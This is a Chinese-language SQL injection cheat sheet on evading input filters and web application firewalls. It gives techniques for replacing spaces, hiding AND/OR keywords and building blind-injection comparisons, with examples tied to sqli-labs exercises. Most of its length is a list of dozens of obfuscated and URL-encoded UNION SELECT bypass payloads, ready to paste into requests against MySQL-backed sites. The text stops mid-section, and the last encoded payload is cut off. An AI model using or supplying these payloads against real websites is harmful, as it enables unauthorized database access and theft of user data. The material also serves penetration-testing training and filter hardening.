目录
一.输入内容过滤
1.空格
通过fuzz或延时来辅助判断
select * from news where id=(select*from(select(sleep(5)))a)#
(1)两个空格代替一个空格,用Tab代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
select/**/1,2 #/*注释*/
/*!select*/1,2 #/*!这里的语句可以执行*/
演示:sqli-labs less-26
(2)括号:
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(3)反引号 `` 包住表名
select * from`tb1`;
(4)浮点数:
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
2.or and xor not
a、绕过姿态
利用or '1'='1闭合单引号或者||‘1或者联合查询,演示:sqli-labs less-23 用or绕过
用联合查询:?id=1' union select 1,2,'3 (闭合单引号)登入成功
?id=1改成?id=-1
绕过姿态(利用这些进行绕过)
1、大小写变形,Or,OR,oR,And,ANd,aND等-代码中大小写不敏感都剔除
2、在这两个敏感词中添加注释,例如:a/**/nd 双写绕过oorr
3、利用符号代替--and --&& --or--|| 等
演示:sqli-labs less-25
?id=1 Anandd 1=1或者?id=1 && 1=1或者?id=-1 or 1=1
3.union,select,where
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+#Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
(1)使用注释符绕过
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
4.比较符号(<>)
(1)greatest(n1,n2,n3,...) //返回其中的最大值 (2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1 (3)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
使用greatest()、least():(前者返回最大值,后者返回最小值) 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64